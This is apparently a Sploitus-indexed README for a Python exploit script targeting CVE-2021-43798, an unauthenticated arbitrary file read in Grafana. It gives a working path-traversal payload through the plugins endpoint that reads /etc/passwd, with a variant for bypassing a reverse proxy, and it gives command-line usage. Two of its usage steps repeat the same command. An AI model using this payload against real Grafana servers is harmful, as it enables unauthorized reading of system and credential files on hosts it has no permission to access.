## https://sploitus.com/exploit?id=C9CE76D2-C53D-50CF-BBF9-A8C9FC0B8BF8
# CVE-2021-43798 β Grafana File Read Vulnerability
**If the object is processed through a reverse proxy, the payload can be replaced with this URL:**
`url1 = url + "/public/plugins/" + str.rstrip(plugins) + "/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd"`
Grafana is a cross-platform, open-source data visualization network application platform. After configuring data sources via user-defined connections, Grafana can display data charts and alerts in web browsers. Grafana has a vulnerability where unauthorized access allows reading of arbitrary files on a host. CVE: CVE-2021-43798
Component: Grafana
Vulnerability Type: File Reading
Impact: Access to sensitive information
Description: Unauthorized attackers can exploit this vulnerability to access sensitive files on the server.
# Usage Instructions
1. Test a single URL:
`python3 grafana_fileread.py -u http://localhost:3000`
The results can be viewed in the `grafana 8.x_fileread_vuln.txt` file.
2. Test a specific file for IP-based vulnerabilities:
`python3 grafana_fileread.py -u http://localhost:3000`
3. Use the `-h` option to view help instructions:
`python3 grafana_fileread.py -h`
[source-iocs-preserved url=http://localhost:3000,https://user-images.githubusercontent.com/62680449/145163393-fc08d974-703e-496b-94cf-cde75e394929.png,https://user-images.githubusercontent.com/62680449/145163470-5f0758dc-9614-4572-a163-b900fc19564d.png,https://user-images.githubusercontent.com/62680449/145163579-1233da26-85e7-4cda-a05c-58e521eeb1b4.png,https://user-images.githubusercontent.com/62680449/145163618-6c1c33d9-bf2a-4880-8ce2-d18d405fd4ee.png]